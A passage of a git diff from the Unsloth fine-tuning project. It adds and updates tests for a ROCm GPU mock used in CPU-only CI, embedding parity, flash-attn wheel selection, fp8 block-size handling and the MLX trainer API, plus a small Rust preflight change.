     const OTHER_ROOT_ID: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
diff --git a/studio/src-tauri/src/preflight/managed.rs b/studio/src-tauri/src/preflight/managed.rs
index 57b8365ec5..0d20f271c5 100644
--- a/studio/src-tauri/src/preflight/managed.rs
+++ b/studio/src-tauri/src/preflight/managed.rs
@@ -188,6 +188,16 @@ fn managed_bin_fingerprint(bin: &Path) -> Option<ManagedBinFingerprint> {
 }
 
 fn capability_cache_path() -> Option<PathBuf> {
+    #[cfg(test)]
+    if let Some(home) = std::env::var_os("UNSLOTH_TEST_DESKTOP_CAPABILITY_CACHE_HOME") {
+        return Some(
+            PathBuf::from(home)
+                .join(".unsloth")
+                .join("studio")
+                .join("desktop_capability_cache.json"),
+        );
+    }
+
     dirs::home_dir().map(|home| {
         home.join(".unsloth")
             .join("studio")
@@ -400,6 +410,12 @@ fn desktop_capability_ready(capability: &DesktopCapability) -> bool {
 
 pub(super) async fn probe_managed_bin(bin: PathBuf) -> ManagedProbe {
     let started = Instant::now();
+    // Always verify the managed CLI actually launches before trusting the cache.
+    // A matching capability fingerprint does not prove the binary can still run:
+    // its venv interpreter or a runtime dependency can be broken while the
+    // path/size/mtime/markers are unchanged, so the -h probe runs first and a
+    // non-launchable install is reported Stale for repair. The capability cache
+    // below still skips the heavier desktop-capabilities probe on a hit.
     if !run_cli_probe(&bin, &["-h"]).await {
         info!(
             "Managed preflight: cli unusable for {:?} in {}ms",
diff --git a/tests/_zoo_rocm_spoof.py b/tests/_zoo_rocm_spoof.py
new file mode 100644
index 0000000000..050191e9d1
--- /dev/null
+++ b/tests/_zoo_rocm_spoof.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""ROCm/RDNA spoof: present torch as an AMD Radeon (RDNA 2/3/4) card on a
+GPU-less host, so hip paths (device_type -> "hip", llama.cpp ROCm bundle) are
+testable in CPU-only CI with no AMD hardware. The ROCm sibling of
+_zoo_aggressive_cuda_spoof.py: it reuses that spoof's torch.cuda no-op machinery
+and overlays the AMD identity (torch.version.hip, gcnArchName, Radeon name).
+Apply BEFORE importing unsloth/unsloth_zoo, since DEVICE_TYPE is cached there.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import os
+import sys
+
+# gfx -> (marketing name, (capability major, minor), torch.version.hip). hip is
+# the ROCm build torch was made against (RDNA2/3 ship 6.x; gfx1102/115x/RDNA4 7.2).
+_PROFILES: dict[str, tuple[str, tuple[int, int], str]] = {
+    "gfx1030": ("AMD Radeon RX 6900 XT", (10, 3), "6.4.43483"),  # RDNA2
+    "gfx1031": ("AMD Radeon RX 6700 XT", (10, 3), "6.4.43483"),
+    "gfx1032": ("AMD Radeon RX 6600", (10, 3), "6.4.43483"),
+    "gfx1034": ("AMD Radeon RX 6400", (10, 3), "6.4.43483"),
+    "gfx1100": ("AMD Radeon RX 7900 XTX", (11, 0), "6.4.43483"),  # RDNA3
+    "gfx1101": ("AMD Radeon RX 7800 XT", (11, 0), "6.4.43483"),
+    "gfx1102": ("AMD Radeon RX 7600", (11, 0), "7.2.1"),
+    "gfx1150": ("AMD Radeon 890M", (11, 5), "7.2.1"),  # RDNA3.5 APU
+    "gfx1151": ("AMD Radeon 8060S", (11, 5), "7.2.1"),
+    "gfx1200": ("AMD Radeon RX 9060 XT", (12, 0), "7.2.1"),  # RDNA4
+    "gfx1201": ("AMD Radeon RX 9070 XT", (12, 0), "7.2.1"),
+}
+
+
+def _cuda_spoof():
+    """Load the sibling CUDA spoof by path (robust to sys.path), so we reuse its
+    torch.cuda machinery instead of duplicating it."""
+    if "_zoo_aggressive_cuda_spoof" in sys.modules:
+        return sys.modules["_zoo_aggressive_cuda_spoof"]
+    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "_zoo_aggressive_cuda_spoof.py")
+    spec = importlib.util.spec_from_file_location("_zoo_aggressive_cuda_spoof", path)
+    mod = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(mod)
+    sys.modules["_zoo_aggressive_cuda_spoof"] = mod
+    return mod
+
+
+def apply(gfx: str = "gfx1100", device_count: int = 1) -> None:
+    """Present torch as `gfx`. Re-callable to switch arch (identity is overlaid;
+    the underlying no-op machinery is applied once)."""
+    import torch
+
+    if gfx not in _PROFILES:
+        raise KeyError(f"Unknown gfx {gfx!r}; known: {', '.join(_PROFILES)}")
+    name, cap, hip = _PROFILES[gfx]
+
+    _cuda_spoof().apply()  # is_available/device_count/streams/rng/amp/...
+
+    # Overlay the AMD identity on top of the (NVIDIA-shaped) CUDA spoof.
+    torch.version.hip = hip
+    torch.version.cuda = None
+    torch.cuda.device_count = lambda: device_count
+    torch.cuda.get_device_name = lambda *a, **k: name
+    torch.cuda.get_device_capability = lambda *a, **k: cap
+    torch.cuda.get_arch_list = lambda: [gfx]
+
+    class _Props:
+        pass
+
+    _p = _Props()
+    _p.name = name
+    _p.gcnArchName = f"{gfx}:sramecc-:xnack-"  # ROCm advertises feature flags
+    _p.major, _p.minor = cap
+    _p.total_memory = 16 * 1024**3
+    _p.multi_processor_count = 40
+    _p.warp_size = 32  # RDNA wavefront (CDNA is 64)
+    _p.is_integrated = gfx in ("gfx1150", "gfx1151")
+    _p.is_multi_gpu_board = False
+    torch.cuda.get_device_properties = lambda *a, **k: _p
+
+
+if __name__ == "__main__":
+    apply()
+    import torch
+    print("ROCm spoof applied:", torch.version.hip, torch.cuda.get_device_properties(0).gcnArchName)
diff --git a/tests/python/test_fast_sentence_transformer_embedding_parity.py b/tests/python/test_fast_sentence_transformer_embedding_parity.py
new file mode 100644
index 0000000000..252d4486a5
--- /dev/null
+++ b/tests/python/test_fast_sentence_transformer_embedding_parity.py
@@ -0,0 +1,122 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""Regression guard for issue #6881: FastSentenceTransformer must preprocess text
+like a stock SentenceTransformer for decoder embedding models. ST 5.x infers a
+"message" modality for chat-template models (e.g. Qwen/Qwen3-Embedding), so building
+via `Transformer(model_name, ...)` chat-wraps inputs and degrades embeddings;
+`_create_transformer_module` uses `Transformer.load(...)` instead.
+
+Layers: test_transformer_load_signature_supports_unsloth_kwargs (fast, runs when ST
+is importable) and test_fast_sentence_transformer_matches_stock_st (end-to-end parity,
+opt-in via UNSLOTH_EMBEDDING_PARITY_MODEL so default CI is unaffected).
+"""
+
+from __future__ import annotations
+
+import inspect
+import os
+
+import pytest
+
+
+def test_transformer_load_signature_supports_unsloth_kwargs():
+    """Forwards-compat tripwire: a Hub-capable Transformer.load must accept the kwargs
+    the #6881 fix passes. Legacy ST 3.x/4.x expose load(input_path); the code falls back
+    to Transformer(...) there, so mirror that gate and skip."""
+    models = pytest.importorskip("sentence_transformers.models")
+    load = getattr(models.Transformer, "load", None)
+    assert callable(load), (
+        "sentence_transformers Transformer.load is missing; the #6881 fix in "
+        "unsloth.models.sentence_transformer._create_transformer_module depends on it."
+    )
+    params = inspect.signature(load).parameters
+    accepts_var_kw = any(p.kind is inspect.Parameter.VAR_KEYWORD for p in params.values())
+    # Mirror _create_transformer_module's hub_capable gate.
+    hub_capable = accepts_var_kw or any(k in params for k in ("token", "cache_folder", "revision"))
+    if not hub_capable:
+        pytest.skip(
+            "legacy Transformer.load(input_path); production path falls back to Transformer(...)"
+        )
+    unsupported = [
+        k
+        for k in ("token", "cache_folder", "revision", "trust_remote_code")
+        if not (accepts_var_kw or k in params)
+    ]
+    assert not unsupported, (
+        f"installed sentence_transformers Transformer.load no longer accepts {unsupported} "
+        f"and has no **kwargs; update _create_transformer_module (#6881) before it silently "
+        f"falls back to Transformer(...)."
+    )
+
+
+def _probe_texts():
+    return [
+        "roasted chickpeas in 20 kg bags",
+        "The capital of France is Paris.",
+        "A fast brown fox jumps over the lazy dog.",
+        "recette de tarte aux pommes traditionnelle",
+    ]
+
+
+def test_fast_sentence_transformer_matches_stock_st():
+    """End-to-end: FastSentenceTransformer embeddings and tokenization must match a
+    stock SentenceTransformer load of the same checkpoint. Opt-in (needs a model) and
+    GPU-only (FastSentenceTransformer requires CUDA), so it skips on CPU-only runners."""
+    model_id = os.environ.get("UNSLOTH_EMBEDDING_PARITY_MODEL")
+    if not model_id:
+        pytest.skip(
+            "set UNSLOTH_EMBEDDING_PARITY_MODEL to a chat-template embedding model "
+            "(HF id or local path) to run the #6881 parity test"
+        )
+
+    torch = pytest.importorskip("torch")
+    if not torch.cuda.is_available():
+        pytest.skip("FastSentenceTransformer requires CUDA; skipping on CPU-only runner")
+    np = pytest.importorskip("numpy")
+    pytest.importorskip("sentence_transformers")
+    from sentence_transformers import SentenceTransformer
+
+    device = "cuda"
+    # Prefer bf16 when the GPU supports it: fp16 overflows to NaN on bf16-native
+    # embedders such as EmbeddingGemma (Gemma3), which would mask real parity.
+    dtype = torch.bfloat16 if torch.cuda.is_bf16_supported() else torch.float16
+    texts = _probe_texts()
+    max_seq_length = 256
+
+    # Control FIRST, before importing unsloth, so its global import patches never
+    # touch the stock reference (mirrors the issue's "restart runtime" repro).
+    ctrl = SentenceTransformer(model_id, device = device, model_kwargs = {"torch_dtype": dtype})
+    ctrl.max_seq_length = max_seq_length
+    ctrl_ids = ctrl.tokenize([texts[0]])["input_ids"][0].tolist()
+    ctrl_emb = np.asarray(
+        ctrl.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    import unsloth  # noqa: F401
+    from unsloth import FastSentenceTransformer
+
+    fast = FastSentenceTransformer.from_pretrained(
+        model_id,
+        max_seq_length = max_seq_length,
+        dtype = dtype,
+        load_in_4bit = False,
+        load_in_16bit = True,
+    )
+    fast_ids = fast.tokenize([texts[0]])["input_ids"][0].tolist()
+    fast_emb = np.asarray(
+        fast.encode(texts, normalize_embeddings = True, batch_size = 8), dtype = np.float32
+    )
+
+    # Identical tokenization = no chat-template wrapping slipped in (the #6881 defect).
+    assert fast_ids == ctrl_ids, (
+        f"tokenization diverged (chat-template wrapping regressed?):\n"
+        f"  stock: {ctrl_ids}\n  fast:  {fast_ids}"
+    )
+
+    cos = (ctrl_emb * fast_emb).sum(1) / (
+        np.linalg.norm(ctrl_emb, axis = 1) * np.linalg.norm(fast_emb, axis = 1)
+    )
+    assert float(cos.min()) > 0.99, (
+        f"embedding parity regressed: min cosine {float(cos.min()):.5f} <= 0.99 "
+        f"(per-text {[round(float(c), 5) for c in cos]})"
+    )
diff --git a/tests/python/test_flash_attn_install_python_stack.py b/tests/python/test_flash_attn_install_python_stack.py
index 26ff03505a..bf3ed57788 100644
--- a/tests/python/test_flash_attn_install_python_stack.py
+++ b/tests/python/test_flash_attn_install_python_stack.py
@@ -13,102 +13,35 @@ sys.path.insert(0, str(STUDIO_DIR))
 sys.path.insert(0, str(STUDIO_DIR / "backend"))
 
 import install_python_stack as ips
-from backend.utils import wheel_utils
+from utils import wheel_utils
 
 
-def _smi_result(stdout: str, returncode: int = 0) -> subprocess.CompletedProcess:
-    return subprocess.CompletedProcess(["nvidia-smi"], returncode, stdout, "")
+class TestPrebuiltWheelTorchMapping:
+    def test_torch_211_maps_to_torch210(self):
+        assert wheel_utils.prebuilt_wheel_torch_mm("2.11") == "2.10"
 
+    def test_other_versions_pass_through(self):
+        for torch_mm in ("2.9", "2.10", "2.12"):
+            assert wheel_utils.prebuilt_wheel_torch_mm(torch_mm) == torch_mm
 
-class TestHasBlackwellGpu:
-    def setup_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def teardown_method(self):
-        wheel_utils.has_blackwell_gpu.cache_clear()
-
-    def test_returns_false_when_nvidia_smi_missing(self):
-        with mock.patch.object(wheel_utils.shutil, "which", return_value = None):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_true_for_sm_100(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("10.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_120(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_true_for_sm_121(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("12.1\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_for_sm_90(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("9.0\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_for_sm_89(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(wheel_utils.subprocess, "run", return_value = _smi_result("8.9\n")),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_mixed_gpus_with_one_blackwell_returns_true(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("8.0\n10.0\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is True
-
-    def test_returns_false_when_nvidia_smi_fails(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("", returncode = 1),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_subprocess_timeout(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                side_effect = subprocess.TimeoutExpired(cmd = "nvidia-smi", timeout = 10),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
-
-    def test_returns_false_on_malformed_output(self):
-        with (
-            mock.patch.object(wheel_utils.shutil, "which", return_value = "/usr/bin/nvidia-smi"),
-            mock.patch.object(
-                wheel_utils.subprocess,
-                "run",
-                return_value = _smi_result("not-a-number\n\n"),
-            ),
-        ):
-            assert wheel_utils.has_blackwell_gpu() is False
+    def test_direct_wheel_url_reuses_torch210_on_211(self):
+        # causal-conv1d / mamba go through direct_wheel_url; torch 2.11 reuses the
+        # torch2.10 wheel filename just like flash-attn does.
+        url = wheel_utils.direct_wheel_url(
+            filename_prefix = "causal_conv1d",
+            package_version = "1.6.1",
+            release_tag = "v1.6.1.post4",
+            release_base_url = "https://example.test/download",
+            env = {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            },
+        )
+        assert url is not None
+        assert "causal_conv1d-1.6.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
 
 
 class TestFlashAttnWheelSelection:
@@ -118,9 +51,24 @@ class TestFlashAttnWheelSelection:
     def test_torch_29_maps_to_v283(self):
         assert ips._select_flash_attn_version("2.9") == "2.8.3"
 
-    def test_unsupported_torch_has_no_wheel_mapping(self):
+    def test_torch_211_has_no_native_version_entry(self):
+        # The raw version table has no torch2.11-tagged wheel; the URL builder
+        # reuses the torch2.10 wheel instead (see test_torch_211_reuses_torch210_wheel).
         assert ips._select_flash_attn_version("2.11") is None
 
+    def test_torch_211_reuses_torch210_wheel(self):
+        url = ips._build_flash_attn_wheel_url(
+            {
+                "python_tag": "cp313",
+                "torch_mm": "2.11",
+                "cuda_major": "13",
+                "cxx11abi": "TRUE",
+                "platform_tag": "linux_x86_64",
+            }
+        )
+        assert url is not None
+        assert "flash_attn-2.8.1+cu13torch2.10cxx11abiTRUE-cp313-cp313-linux_x86_64.whl" in url
+
     def test_exact_wheel_url_uses_full_env_tuple(self):
         url = ips._build_flash_attn_wheel_url(
             {
@@ -333,83 +281,22 @@ class TestEnsureFlashAttn:
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
 
-    def test_blackwell_gpu_skips_install_with_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", False),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_blackwell_gpu_on_windows_emits_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
+    def test_windows_skips_install_without_probing(self):
+        # flash-attn is Linux-only: on Windows the installer returns before
+        # probing the torch env or resolving a wheel (no Windows wheels are
+        # published upstream).
         with (
             mock.patch.object(ips, "NO_TORCH", False),
             mock.patch.object(ips, "IS_WINDOWS", True),
             mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = True),
             mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
             mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
             mock.patch("subprocess.run", return_value = self._import_check()),
         ):
             ips._ensure_flash_attn()
 
         mock_probe.assert_not_called()
         mock_install_wheel.assert_not_called()
-        assert any(label == "warning" and "Blackwell" in msg for label, msg in step_messages)
-
-    def test_non_blackwell_windows_does_not_emit_blackwell_warning(self):
-        step_messages: list[tuple[str, str]] = []
-
-        def fake_step(
-            label: str,
-            value: str,
-            color_fn = None,
-        ):
-            step_messages.append((label, value))
-
-        with (
-            mock.patch.object(ips, "NO_TORCH", False),
-            mock.patch.object(ips, "IS_WINDOWS", True),
-            mock.patch.object(ips, "IS_MACOS", False),
-            mock.patch.object(ips, "has_blackwell_gpu", return_value = False),
-            mock.patch.object(ips, "probe_torch_wheel_env") as mock_probe,
-            mock.patch.object(ips, "install_wheel") as mock_install_wheel,
-            mock.patch.object(ips, "_step", side_effect = fake_step),
-            mock.patch("subprocess.run", return_value = self._import_check()),
-        ):
-            ips._ensure_flash_attn()
-
-        mock_probe.assert_not_called()
-        mock_install_wheel.assert_not_called()
-        assert not any("Blackwell" in msg for _, msg in step_messages)
 
 
 class TestInstallPythonStackFlashAttnIntegration:
diff --git a/tests/python/test_get_lora_parameters_bias_fp8_block_size.py b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
new file mode 100644
index 0000000000..835ad19542
--- /dev/null
+++ b/tests/python/test_get_lora_parameters_bias_fp8_block_size.py
@@ -0,0 +1,82 @@
+import ast
+from pathlib import Path
+
+
+def _load_function(name):
+    # Extract a function from kernels/utils.py without importing unsloth (which
+    # needs a GPU / torch / bitsandbytes). The functions exercised here only use
+    # getattr and the _FP8_WEIGHT_DTYPES name on the paths under test.
+    source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+    ]
+    assert len(funcs) == 1, (name, funcs)
+    namespace = {"getattr": getattr, "_FP8_WEIGHT_DTYPES": ()}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace[name]
+
+
+class _Obj:
+    pass
+
+
+def _make_disabled_block_fp8_proj(block_size):
+    # A merged/disabled projection whose base layer is a block-fp8 weight that
+    # ships a non-default block size on its checkpoint.
+    weight = _Obj()
+    weight.quant_state = _Obj()
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = block_size
+    base_layer.bias = None
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj, weight.quant_state
+
+
+def test_bias_variant_propagates_fp8_block_size_on_disabled_path():
+    # Downstream fp8 kernels read getattr(weight_scale, "block_size", [128, 128]),
+    # so the checkpoint's real block size must survive the merged/disabled path,
+    # exactly as it does for the non-bias sibling get_lora_parameters.
+    get_lora_parameters_bias = _load_function("get_lora_parameters_bias")
+
+    proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])
+    get_lora_parameters_bias(proj)
+
+    assert getattr(weight_scale, "block_size", [128, 128]) == [64, 128]
+
+
+def _make_decompressed_merged_proj():
+    # A merged compressed-tensors layer that was decompressed back to bf16. It keeps
+    # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16
+    # so there is no quant state to attach a block size to.
+    weight = _Obj()
+    weight.dtype = "bfloat16"
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = [128, 128]
+    base_layer.bias = None
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj
+
+
+def test_bias_variant_keeps_none_quant_state_for_decompressed_layer():
+    # Such a layer has no quant state, and fast_linear_forward relies on getting
+    # W_quant None back so it can fall back to a plain matmul, so setting the block
+    # size must not assume a quant state is present.
+    get_lora_parameters_bias = _load_function("get_lora_parameters_bias")
+
+    W, W_quant = get_lora_parameters_bias(_make_decompressed_merged_proj())[:2]
+
+    assert W_quant is None
+    assert getattr(W, "block_size", None) == [128, 128]
diff --git a/tests/python/test_get_lora_parameters_fp8_block_size.py b/tests/python/test_get_lora_parameters_fp8_block_size.py
new file mode 100644
index 0000000000..f5f1359125
--- /dev/null
+++ b/tests/python/test_get_lora_parameters_fp8_block_size.py
@@ -0,0 +1,81 @@
+import ast
+from pathlib import Path
+
+
+def _load_function(name):
+    # Extract a function from kernels/utils.py without importing unsloth (which
+    # needs a GPU / torch / bitsandbytes). get_lora_parameters only uses getattr,
+    # hasattr and the _FP8_WEIGHT_DTYPES name on the paths under test.
+    source = Path(__file__).parents[2] / "unsloth" / "kernels" / "utils.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node for node in ast.walk(tree) if isinstance(node, ast.FunctionDef) and node.name == name
+    ]
+    assert len(funcs) == 1, (name, funcs)
+    namespace = {"getattr": getattr, "hasattr": hasattr, "_FP8_WEIGHT_DTYPES": ()}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace[name]
+
+
+class _Obj:
+    pass
+
+
+def _make_disabled_block_fp8_proj(block_size):
+    # A merged/disabled projection whose base layer is a block-fp8 weight that
+    # ships a non-default block size on its checkpoint.
+    weight = _Obj()
+    weight.quant_state = _Obj()
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = block_size
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj, weight.quant_state
+
+
+def test_propagates_fp8_block_size_on_disabled_path():
+    # get_lora_parameters already sets block_size before its early return; downstream
+    # fp8 kernels read getattr(weight_scale, "block_size", [128, 128]), so the
+    # checkpoint's real block size must survive the merged/disabled path.
+    get_lora_parameters = _load_function("get_lora_parameters")
+
+    proj, weight_scale = _make_disabled_block_fp8_proj([64, 128])
+    get_lora_parameters(proj)
+
+    assert getattr(weight_scale, "block_size", [128, 128]) == [64, 128]
+
+
+def _make_decompressed_merged_proj():
+    # A merged compressed-tensors layer that was decompressed back to bf16. It keeps
+    # quant_method == "fp8" from the checkpoint metadata, but the live weight is bf16
+    # so there is no quant state to attach a block size to.
+    weight = _Obj()
+    weight.dtype = "bfloat16"
+    base_layer = _Obj()
+    base_layer.weight = weight
+    base_layer.quant_method = "fp8"
+    base_layer.block_size = [128, 128]
+    proj = _Obj()
+    proj.base_layer = base_layer
+    proj.merged = True
+    proj.disable_adapters = True
+    return proj
+
+
+def test_keeps_none_quant_state_for_decompressed_layer():
+    # Mirrors the get_lora_parameters_bias guard: with no quant state, assigning
+    # W_quant.block_size must not assume one is present, or it raises AttributeError
+    # on None. fast_lora relies on getting W_quant None back to fall back to a plain
+    # matmul, so this path must stay crash-free.
+    get_lora_parameters = _load_function("get_lora_parameters")
+
+    W, W_quant = get_lora_parameters(_make_decompressed_merged_proj())[:2]
+
+    assert W_quant is None
+    assert getattr(W, "block_size", None) == [128, 128]
diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
new file mode 100644
index 0000000000..89f304c76d
--- /dev/null
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -0,0 +1,1246 @@
+"""Tests for the MLX public trainer compatibility surface."""
+
+from __future__ import annotations
+
+import builtins
+import importlib
+import importlib.util
+import platform
+import sys
+import types
+import warnings
+
+import pytest
+
+_MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend"
+
+
+def _import_mlx_unsloth():
+    """Import unsloth and skip when the current platform is not using MLX."""
+    # Skip before importing unsloth so non-MLX hosts missing optional GPU deps
+    # (e.g. bitsandbytes) skip cleanly instead of erroring at collection.
+    if not (
+        platform.system() == "Darwin"
+        and platform.machine() == "arm64"
+        and importlib.util.find_spec("mlx") is not None
+    ):
+        pytest.skip(_MLX_SKIP_REASON)
+    unsloth = importlib.import_module("unsloth")
+    if getattr(unsloth, "DEVICE_TYPE", None) != "mlx":
+        pytest.skip(_MLX_SKIP_REASON)
+    return unsloth
+
+
+class _DummyModel:
+    """Small model stub that satisfies MLXTrainer constructor probes."""
+
+    def trainable_parameters(self):
+        """Return no trainable parameters for constructor-only tests."""
+        return {}
+
+
+class _DummyVLMModel(_DummyModel):
+    """Small VLM model stub for MLX vision trainer constructor probes."""
+
+    _is_vlm_model = True
+
+
+def test_mlx_exports_unsloth_trainer_api():
+    """MLX imports should expose the public Unsloth trainer API."""
+    unsloth = _import_mlx_unsloth()
+    from unsloth import (
+        RawTextDataLoader,
+        TextPreprocessor,
+        UnslothTrainer,
+        UnslothTrainingArguments,
+        clear_gpu_memory,
+        get_gpu_memory_stats,
+    )
+
+    assert RawTextDataLoader is unsloth.RawTextDataLoader
+    assert TextPreprocessor is unsloth.TextPreprocessor
+    assert UnslothTrainer is unsloth.UnslothTrainer
+    assert UnslothTrainingArguments is unsloth.UnslothTrainingArguments
+    assert get_gpu_memory_stats is unsloth.get_gpu_memory_stats
+    assert clear_gpu_memory is unsloth.clear_gpu_memory
+    assert issubclass(UnslothTrainer, unsloth.MLXTrainer)
+    assert issubclass(UnslothTrainingArguments, unsloth.MLXTrainingConfig)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_non_mlx_exports_public_trainer_api_when_available():
+    """GPU/ROCm imports should keep exporting the public Unsloth trainer API."""
+    try:
+        unsloth = importlib.import_module("unsloth")
+    except ImportError as exc:
+        # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo,
+        # bitsandbytes/triton, and _gpu_init can re-raise missing deps as
+        # ImportError). Skip when any of it is unavailable rather than failing
+        # collection on CPU/ROCm/XPU review hosts.
+        pytest.skip(f"non-MLX import dependency unavailable: {exc}")
+    if getattr(unsloth, "DEVICE_TYPE", None) == "mlx":
+        pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends")
+
+    assert unsloth.UnslothTrainer is not None
+    assert unsloth.UnslothTrainingArguments is not None
+    assert callable(unsloth.get_gpu_memory_stats)
+    assert callable(unsloth.clear_gpu_memory)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_mlx_training_arguments_accept_trl_style_kwargs():
+    """TRL/SFTConfig-style kwargs should normalize without breaking MLX config."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "bf16.*dataset_kwargs"):
+        args = unsloth.UnslothTrainingArguments(
+            max_length = 123,
+            max_steps = 10,
+            warmup_ratio = 0.2,
+            remove_unused_columns = False,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            bf16 = True,
+        )
+
+    assert args.max_seq_length == 123
+    assert args.warmup_steps == 2
+    assert args.remove_unused_columns is False
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.bf16 is True
+    assert args.warmup_ratio == 0.2
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
+    """Implemented and falsey inert compatibility kwargs should stay quiet."""
+    unsloth = _import_mlx_unsloth()
+    supported_eval_kwargs = {}
+    if "eval_strategy" in unsloth._MLX_TRAINING_CONFIG_FIELDS:
+        supported_eval_kwargs = {"eval_strategy": "no", "eval_delay": 1}
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        args = unsloth.UnslothTrainingArguments(
+            warmup_ratio = 0.2,
+            max_steps = 10,
+            padding_free = False,
